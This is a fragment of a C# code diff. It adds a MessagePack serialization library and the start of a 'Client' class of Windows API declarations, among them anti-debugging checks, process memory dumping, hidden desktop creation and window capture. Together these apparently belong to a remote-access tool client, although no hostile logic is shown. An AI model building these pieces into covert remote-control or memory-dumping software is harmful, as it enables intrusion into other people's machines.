||||
break;
|
||||
case MsgPackType.DateTime:
|
||||
WriteTools.WriteInteger(ms, GetAsInteger());
|
||||
break;
|
||||
case MsgPackType.Binary:
|
||||
WriteTools.WriteBinary(ms, (byte[]) innerValue);
|
||||
break;
|
||||
case MsgPackType.Map:
|
||||
WriteMap(ms);
|
||||
break;
|
||||
case MsgPackType.Array:
|
||||
WirteArray(ms);
|
||||
break;
|
||||
default:
|
||||
WriteTools.WriteNull(ms);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public string AsString
|
||||
{
|
||||
get => GetAsString();
|
||||
set => SetAsString(value);
|
||||
}
|
||||
|
||||
public long AsInteger
|
||||
{
|
||||
get => GetAsInteger();
|
||||
set => SetAsInteger(value);
|
||||
}
|
||||
|
||||
public double AsFloat
|
||||
{
|
||||
get => GetAsFloat();
|
||||
set => SetAsFloat(value);
|
||||
}
|
||||
|
||||
public MsgPackArray AsArray
|
||||
{
|
||||
get
|
||||
{
|
||||
lock (this)
|
||||
{
|
||||
if (refAsArray == null) refAsArray = new MsgPackArray(this, children);
|
||||
}
|
||||
|
||||
return refAsArray;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public MsgPackType ValueType => valueType;
|
||||
|
||||
|
||||
IEnumerator IEnumerable.GetEnumerator()
|
||||
{
|
||||
return new MsgPackEnum(children);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
namespace MessagePack
|
||||
{
|
||||
public enum MsgPackType
|
||||
{
|
||||
Unknown = 0,
|
||||
Null = 1,
|
||||
Map = 2,
|
||||
Array = 3,
|
||||
String = 4,
|
||||
Integer = 5,
|
||||
UInt64 = 6,
|
||||
Boolean = 7,
|
||||
Float = 8,
|
||||
Single = 9,
|
||||
DateTime = 10,
|
||||
Binary = 11
|
||||
}
|
||||
}
|
|
@ -0,0 +1,81 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace MessagePack
|
||||
{
|
||||
internal class ReadTools
|
||||
{
|
||||
public static string ReadString(Stream ms, int len)
|
||||
{
|
||||
var rawBytes = new byte[len];
|
||||
ms.Read(rawBytes, 0, len);
|
||||
return BytesTools.GetString(rawBytes);
|
||||
}
|
||||
|
||||
public static string ReadString(Stream ms)
|
||||
{
|
||||
var strFlag = (byte) ms.ReadByte();
|
||||
return ReadString(strFlag, ms);
|
||||
}
|
||||
|
||||
public static string ReadString(byte strFlag, Stream ms)
|
||||
{
|
||||
//
|
||||
//fixstr stores a byte array whose length is upto 31 bytes:
|
||||
//+--------+========+
|
||||
//|101XXXXX| data |
|
||||
//+--------+========+
|
||||
//
|
||||
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
|
||||
//+--------+--------+========+
|
||||
//| 0xd9 |YYYYYYYY| data |
|
||||
//+--------+--------+========+
|
||||
//
|
||||
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
|
||||
//+--------+--------+--------+========+
|
||||
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
|
||||
//+--------+--------+--------+========+
|
||||
//
|
||||
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
|
||||
//+--------+--------+--------+--------+--------+========+
|
||||
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
|
||||
//+--------+--------+--------+--------+--------+========+
|
||||
//
|
||||
//where
|
||||
//* XXXXX is a 5-bit unsigned integer which represents N
|
||||
//* YYYYYYYY is a 8-bit unsigned integer which represents N
|
||||
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
|
||||
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
|
||||
//* N is the length of data
|
||||
|
||||
byte[] rawBytes = null;
|
||||
var len = 0;
|
||||
if (strFlag >= 0xA0 && strFlag <= 0xBF)
|
||||
{
|
||||
len = strFlag - 0xA0;
|
||||
}
|
||||
else if (strFlag == 0xD9)
|
||||
{
|
||||
len = ms.ReadByte();
|
||||
}
|
||||
else if (strFlag == 0xDA)
|
||||
{
|
||||
rawBytes = new byte[2];
|
||||
ms.Read(rawBytes, 0, 2);
|
||||
rawBytes = BytesTools.SwapBytes(rawBytes);
|
||||
len = BitConverter.ToUInt16(rawBytes, 0);
|
||||
}
|
||||
else if (strFlag == 0xDB)
|
||||
{
|
||||
rawBytes = new byte[4];
|
||||
ms.Read(rawBytes, 0, 4);
|
||||
rawBytes = BytesTools.SwapBytes(rawBytes);
|
||||
len = BitConverter.ToInt32(rawBytes, 0);
|
||||
}
|
||||
|
||||
rawBytes = new byte[len];
|
||||
ms.Read(rawBytes, 0, len);
|
||||
return BytesTools.GetString(rawBytes);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,200 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace MessagePack
|
||||
{
|
||||
internal class WriteTools
|
||||
{
|
||||
public static void WriteNull(Stream ms)
|
||||
{
|
||||
ms.WriteByte(0xC0);
|
||||
}
|
||||
|
||||
public static void WriteString(Stream ms, string strVal)
|
||||
{
|
||||
//
|
||||
//fixstr stores a byte array whose length is upto 31 bytes:
|
||||
//+--------+========+
|
||||
//|101XXXXX| data |
|
||||
//+--------+========+
|
||||
//
|
||||
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
|
||||
//+--------+--------+========+
|
||||
//| 0xd9 |YYYYYYYY| data |
|
||||
//+--------+--------+========+
|
||||
//
|
||||
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
|
||||
//+--------+--------+--------+========+
|
||||
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
|
||||
//+--------+--------+--------+========+
|
||||
//
|
||||
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
|
||||
//+--------+--------+--------+--------+--------+========+
|
||||
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
|
||||
//+--------+--------+--------+--------+--------+========+
|
||||
//
|
||||
//where
|
||||
//* XXXXX is a 5-bit unsigned integer which represents N
|
||||
//* YYYYYYYY is a 8-bit unsigned integer which represents N
|
||||
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
|
||||
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
|
||||
//* N is the length of data
|
||||
|
||||
var rawBytes = BytesTools.GetUtf8Bytes(strVal);
|
||||
byte[] lenBytes = null;
|
||||
var len = rawBytes.Length;
|
||||
byte b = 0;
|
||||
if (len <= 31)
|
||||
{
|
||||
b = (byte) (0xA0 + (byte) len);
|
||||
ms.WriteByte(b);
|
||||
}
|
||||
else if (len <= 255)
|
||||
{
|
||||
b = 0xD9;
|
||||
ms.WriteByte(b);
|
||||
b = (byte) len;
|
||||
ms.WriteByte(b);
|
||||
}
|
||||
else if (len <= 65535)
|
||||
{
|
||||
b = 0xDA;
|
||||
ms.WriteByte(b);
|
||||
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((short) len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
else
|
||||
{
|
||||
b = 0xDB;
|
||||
ms.WriteByte(b);
|
||||
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes(len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
|
||||
ms.Write(rawBytes, 0, rawBytes.Length);
|
||||
}
|
||||
|
||||
public static void WriteBinary(Stream ms, byte[] rawBytes)
|
||||
{
|
||||
byte[] lenBytes = null;
|
||||
var len = rawBytes.Length;
|
||||
byte b = 0;
|
||||
if (len <= 255)
|
||||
{
|
||||
b = 0xC4;
|
||||
ms.WriteByte(b);
|
||||
b = (byte) len;
|
||||
ms.WriteByte(b);
|
||||
}
|
||||
else if (len <= 65535)
|
||||
{
|
||||
b = 0xC5;
|
||||
ms.WriteByte(b);
|
||||
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((short) len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
else
|
||||
{
|
||||
b = 0xC6;
|
||||
ms.WriteByte(b);
|
||||
|
||||
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes(len));
|
||||
ms.Write(lenBytes, 0, lenBytes.Length);
|
||||
}
|
||||
|
||||
ms.Write(rawBytes, 0, rawBytes.Length);
|
||||
}
|
||||
|
||||
public static void WriteFloat(Stream ms, double fVal)
|
||||
{
|
||||
ms.WriteByte(0xCB);
|
||||
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
|
||||
}
|
||||
|
||||
public static void WriteSingle(Stream ms, float fVal)
|
||||
{
|
||||
ms.WriteByte(0xCA);
|
||||
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
|
||||
}
|
||||
|
||||
public static void WriteBoolean(Stream ms, bool bVal)
|
||||
{
|
||||
ms.WriteByte(bVal ? (byte) 0xC3 : (byte) 0xC2);
|
||||
}
|
||||
|
||||
|
||||
public static void WriteUInt64(Stream ms, ulong iVal)
|
||||
{
|
||||
ms.WriteByte(0xCF);
|
||||
var dataBytes = BitConverter.GetBytes(iVal);
|
||||
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
|
||||
}
|
||||
|
||||
public static void WriteInteger(Stream ms, long iVal)
|
||||
{
|
||||
if (iVal >= 0)
|
||||
{
|
||||
// 正数
|
||||
if (iVal <= 127)
|
||||
{
|
||||
ms.WriteByte((byte) iVal);
|
||||
}
|
||||
else if (iVal <= 255)
|
||||
{
|
||||
//UInt8
|
||||
ms.WriteByte(0xCC);
|
||||
ms.WriteByte((byte) iVal);
|
||||
}
|
||||
else if (iVal <= 0xFFFF)
|
||||
{
|
||||
//UInt16
|
||||
ms.WriteByte(0xCD);
|
||||
ms.Write(BytesTools.SwapInt16((short) iVal), 0, 2);
|
||||
}
|
||||
else if (iVal <= 0xFFFFFFFF)
|
||||
{
|
||||
//UInt32
|
||||
ms.WriteByte(0xCE);
|
||||
ms.Write(BytesTools.SwapInt32((int) iVal), 0, 4);
|
||||
}
|
||||
else
|
||||
{
|
||||
//Int64
|
||||
ms.WriteByte(0xD3);
|
||||
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// <0
|
||||
if (iVal <= int.MinValue) //-2147483648 // 64 bit
|
||||
{
|
||||
ms.WriteByte(0xD3);
|
||||
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
|
||||
}
|
||||
else if (iVal <= short.MinValue) // -32768 // 32 bit
|
||||
{
|
||||
ms.WriteByte(0xD2);
|
||||
ms.Write(BytesTools.SwapInt32((int) iVal), 0, 4);
|
||||
}
|
||||
else if (iVal <= -128) // -32768 // 32 bit
|
||||
{
|
||||
ms.WriteByte(0xD1);
|
||||
ms.Write(BytesTools.SwapInt16((short) iVal), 0, 2);
|
||||
}
|
||||
else if (iVal <= -32)
|
||||
{
|
||||
ms.WriteByte(0xD0);
|
||||
ms.WriteByte((byte) iVal);
|
||||
}
|
||||
else
|
||||
{
|
||||
ms.WriteByte((byte) iVal);
|
||||
}
|
||||
} // end <0
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,45 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace MessagePack
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
var lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
}
|
||||
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,828 @@
|
|||
using System;
|
||||
using System.Drawing;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Client
|
||||
{
|
||||
internal unsafe class Native
|
||||
{
|
||||
public enum EXECUTION_STATE : uint
|
||||
{
|
||||
ES_CONTINUOUS = 0x80000000,
|
||||
ES_DISPLAY_REQUIRED = 0x00000002,
|
||||
ES_SYSTEM_REQUIRED = 0x00000001
|
||||
}
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
uint DesiredAccess,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
public struct RECT
|
||||
{
|
||||
public int Left;
|
||||
public int Top;
|
||||
public int Right;
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, [MarshalAs(UnmanagedType.I4)] int nCmdShow);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy,
|
||||
uint uFlags);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr SendMessage(int hWnd, int Msg, int wparam, int lparam);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
public delegate bool EnumDelegate(IntPtr hWnd, int lParam);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool EnumDesktopWindows(IntPtr hDesktop, EnumDelegate lpEnumCallbackFunction,
|
||||
IntPtr lParam);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool GetWindowRect(IntPtr hWnd, ref RECT lpRect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr WindowFromPoint(Point p);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsZoomed(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
|
||||
public static extern IntPtr GetParent(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetSystemMetrics(int smIndex);
|
||||
|
||||
public const uint MAX_PATH = 260;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct IMAGE_SECTION_HEADER
|
||||
{
|
||||
public fixed byte Name[8];
|
||||
public uint VirtualSize;
|
||||
public uint VirtualAddress;
|
||||
public uint SizeOfRawData;
|
||||
public uint PointerToRawData;
|
||||
public uint PointerToRelocations;
|
||||
public uint PointerToLinenumbers;
|
||||
public ushort NumberOfRelocations;
|
||||
public ushort NumberOfLinenumbers;
|
||||
public uint Characteristics;
|
||||
}
|
||||
|
||||
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int RegOpenKeyEx(
|
||||
UIntPtr hKey,
|
||||
string subKey,
|
||||
uint ulOptions,
|
||||
uint samDesired,
|
||||
out IntPtr hkResult);
|
||||
|
||||
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsDebuggerPresent();
|
||||
|
||||
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern void* GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool CheckRemoteDebuggerPresent(void* hProcess, bool* pbDebuggerPresent);
|
||||
|
||||
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool CloseHandle(void* hObject);
|
||||
|
||||
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern void* GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool GetModuleFileName(void* hModule, StringBuilder lpFilename, uint nSize);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool IsWow64Process(IntPtr hProcess, out bool lpSystemInfo);
|
||||
|
||||
|
||||
[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall,
|
||||
CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
|
||||
internal static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, IntPtr hFile, uint dumpType,
|
||||
IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
internal struct MINIDUMP_IO_CALLBACK
|
||||
{
|
||||
internal IntPtr Handle;
|
||||
internal ulong Offset;
|
||||
internal IntPtr Buffer;
|
||||
internal int BufferBytes;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
internal struct MINIDUMP_CALLBACK_INFORMATION
|
||||
{
|
||||
internal MinidumpCallbackRoutine CallbackRoutine;
|
||||
internal IntPtr CallbackParam;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
internal struct MINIDUMP_CALLBACK_INPUT
|
||||
{
|
||||
internal int ProcessId;
|
||||
internal IntPtr ProcessHandle;
|
||||
internal MINIDUMP_CALLBACK_TYPE CallbackType;
|
||||
internal MINIDUMP_IO_CALLBACK Io;
|
||||
}
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
internal delegate bool MinidumpCallbackRoutine(IntPtr CallbackParam, IntPtr CallbackInput,
|
||||
IntPtr CallbackOutput);
|
||||
|
||||
internal enum HRESULT : uint
|
||||
{
|
||||
S_FALSE = 0x0001,
|
||||
S_OK = 0x0000,
|
||||
E_INVALIDARG = 0x80070057,
|
||||
E_OUTOFMEMORY = 0x8007000E
|
||||
}
|
||||
|
||||
internal struct MINIDUMP_CALLBACK_OUTPUT
|
||||
{
|
||||
internal HRESULT status;
|
||||
}
|
||||
|
||||
internal enum MINIDUMP_CALLBACK_TYPE
|
||||
{
|
||||
ModuleCallback,
|
||||
ThreadCallback,
|
||||
ThreadExCallback,
|
||||
IncludeThreadCallback,
|
||||
IncludeModuleCallback,
|
||||
MemoryCallback,
|
||||
CancelCallback,
|
||||
WriteKernelMinidumpCallback,
|
||||
KernelMinidumpStatusCallback,
|
||||
RemoveMemoryCallback,
|
||||
IncludeVmRegionCallback,
|
||||
IoStartCallback,
|
||||
IoWriteAllCallback,
|
||||
IoFinishCallback,
|
||||
ReadMemoryFailureCallback,
|
||||
SecondaryFlagsCallback,
|
||||
IsProcessSnapshotCallback,
|
||||
VmStartCallback,
|
||||
VmQueryCallback,
|
||||
VmPreReadCallback,
|
||||
VmPostReadCallback
|
||||
}
|
||||
|
||||
|
||||
[DllImport("iphlpapi.dll", SetLastError = true)]
|
||||
public static extern uint GetExtendedUdpTable(IntPtr pUdpTable, ref int dwOutBufLen, bool sort, int ipVersion,
|
||||
UDP_TABLE_CLASS tblClass, uint reserved = 0);
|
||||
|
||||
public enum UDP_TABLE_CLASS
|
||||
{
|
||||
UDP_TABLE_BASIC,
|
||||
UDP_TABLE_OWNER_PID,
|
||||
UDP_TABLE_OWNER_MODULE
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct UdpRow
|
||||
{
|
||||
public uint localAddr;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
|
||||
public byte[] localPort;
|
||||
|
||||
public int owningPid;
|
||||
public IPAddress LocalAddress => new IPAddress(localAddr);
|
||||
|
||||
public ushort LocalPort
|
||||
{
|
||||
get
|
||||
{
|
||||
return BitConverter.ToUInt16(
|
||||
new byte[2] {localPort[1], localPort[0]}, 0);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct UdpTable
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
private UdpRow table;
|
||||
}
|
||||
|
||||
[DllImport("iphlpapi.dll", SetLastError = true)]
|
||||
public static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion,
|
||||
TCP_TABLE_TYPE tblClass, int reserved);
|
||||
|
||||
public enum TCP_TABLE_TYPE
|
||||
{
|
||||
TCP_TABLE_BASIC_LISTENER,
|
||||
TCP_TABLE_BASIC_CONNECTIONS,
|
||||
TCP_TABLE_BASIC_ALL,
|
||||
TCP_TABLE_OWNER_PID_LISTENER,
|
||||
TCP_TABLE_OWNER_PID_CONNECTIONS,
|
||||
TCP_TABLE_OWNER_PID_ALL,
|
||||
TCP_TABLE_OWNER_MODULE_LISTENER,
|
||||
TCP_TABLE_OWNER_MODULE_CONNECTIONS,
|
||||
TCP_TABLE_OWNER_MODULE_ALL
|
||||
}
|
||||
|
||||
public enum TCP_CONNECTION_STATE
|
||||
{
|
||||
CLOSED = 1,
|
||||
LISTENING,
|
||||
SYN_SENT,
|
||||
SYN_RCVD,
|
||||
ESTABLISHED,
|
||||
FIN_WAIT_1,
|
||||
FIN_WAIT_2,
|
||||
CLOSE_WAIT,
|
||||
CLOSING,
|
||||
LAST_ACK,
|
||||
TIME_WAIT,
|
||||
DELETE_TCP
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct MIB_TCPROW_OWNER_PID
|
||||
{
|
||||
public uint state;
|
||||
public uint localAddr;
|
||||
public byte localPort1;
|
||||
public byte localPort2;
|
||||
public byte localPort3;
|
||||
public byte localPort4;
|
||||
public uint remoteAddr;
|
||||
public byte remotePort1;
|
||||
public byte remotePort2;
|
||||
public byte remotePort3;
|
||||
public byte remotePort4;
|
||||
public int owningPid;
|
||||
|
||||
public ushort LocalPort
|
||||
{
|
||||
get { return BitConverter.ToUInt16(new byte[2] {localPort2, localPort1}, 0); }
|
||||
}
|
||||
|
||||
public ushort RemotePort
|
||||
{
|
||||
get { return BitConverter.ToUInt16(new byte[2] {remotePort2, remotePort1}, 0); }
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct MIB_TCPTABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
private MIB_TCPROW_OWNER_PID table;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public int dwX;
|
||||
public int dwY;
|
||||
public int dwXSize;
|
||||
public int dwYSize;
|
||||
public int dwXCountChars;
|
||||
public int dwYCountChars;
|
||||
public int dwFillAttribute;
|
||||
public int dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
internal static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags,
|
||||
uint dwDesiredAccess, IntPtr lpsa);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
internal static extern bool SetThreadDesktop(IntPtr hDesktop);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetThreadDesktop(int dwThreadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern int GetCurrentThreadId();
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
internal static extern bool CreateProcess(
|
||||
string lpApplicationName,
|
||||
string lpCommandLine,
|
||||
IntPtr lpProcessAttributes,
|
||||
IntPtr lpThreadAttributes,
|
||||
bool bInheritHandles,
|
||||
int dwCreationFlags,
|
||||
IntPtr lpEnvironment,
|
||||
string lpCurrentDirectory,
|
||||
ref STARTUPINFO lpStartupInfo,
|
||||
ref PROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
public const int NORMAL_PRIORITY_CLASS = 0x00000020;
|
||||
|
||||
public const uint DESKTOP_CREATEWINDOW = 0x0002;
|
||||
public const uint DESKTOP_ENUMERATE = 0x0040;
|
||||
public const uint DESKTOP_WRITEOBJECTS = 0x0080;
|
||||
public const uint DESKTOP_SWITCHDESKTOP = 0x0100;
|
||||
public const uint DESKTOP_CREATEMENU = 0x0004;
|
||||
public const uint DESKTOP_HOOKCONTROL = 0x0008;
|
||||
public const uint DESKTOP_READOBJECTS = 0x0001;
|
||||
public const uint DESKTOP_JOURNALRECORD = 0x0010;
|
||||
public const uint DESKTOP_JOURNALPLAYBACK = 0x0020;
|
||||
|
||||
public const uint AccessRights =
|
||||
DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE |
|
||||
DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL |
|
||||
DESKTOP_READOBJECTS;
|
||||
|
||||
[Flags]
|
||||
public enum SHGFI
|
||||
{
|
||||
SHGFI_ICON = 0x000000100,
|
||||
SHGFI_DISPLAYNAME = 0x000000200,
|
||||
SHGFI_TYPENAME = 0x000000400,
|
||||
SHGFI_ATTRIBUTES = 0x000000800,
|
||||
SHGFI_ICONLOCATION = 0x000001000,
|
||||
SHGFI_EXETYPE = 0x000002000,
|
||||
SHGFI_SYSICONINDEX = 0x000004000,
|
||||
SHGFI_LINKOVERLAY = 0x000008000,
|
||||
SHGFI_SELECTED = 0x000010000,
|
||||
SHGFI_ATTR_SPECIFIED = 0x000020000,
|
||||
SHGFI_LARGEICON = 0x000000000,
|
||||
SHGFI_SMALLICON = 0x000000001,
|
||||
SHGFI_OPENICON = 0x000000002,
|
||||
SHGFI_SHELLICONSIZE = 0x000000004,
|
||||
SHGFI_PIDL = 0x000000008,
|
||||
SHGFI_USEFILEATTRIBUTES = 0x000000010,
|
||||
SHGFI_ADDOVERLAYS = 0x000000020,
|
||||
SHGFI_OVERLAYINDEX = 0x000000040
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
|
||||
public struct SHFILEINFO
|
||||
{
|
||||
public IntPtr hIcon;
|
||||
public int iIcon;
|
||||
public uint dwAttributes;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
|
||||
public string szDisplayName;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 80)]
|
||||
public string szTypeName;
|
||||
}
|
||||
|
||||
[DllImport("shell32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr SHGetFileInfo(string pszPath, uint dwFileAttribs, out SHFILEINFO psfi,
|
||||
uint cbFileInfo, SHGFI uFlags);
|
||||
|
||||
[Flags]
|
||||
public enum DiGetClassFlags : uint
|
||||
{
|
||||
DIGCF_DEFAULT = 0x00000001,
|
||||
DIGCF_PRESENT = 0x00000002,
|
||||
DIGCF_ALLCLASSES = 0x00000004,
|
||||
DIGCF_PROFILE = 0x00000008,
|
||||
DIGCF_DEVICEINTERFACE = 0x00000010
|
||||
}
|
||||
|
||||
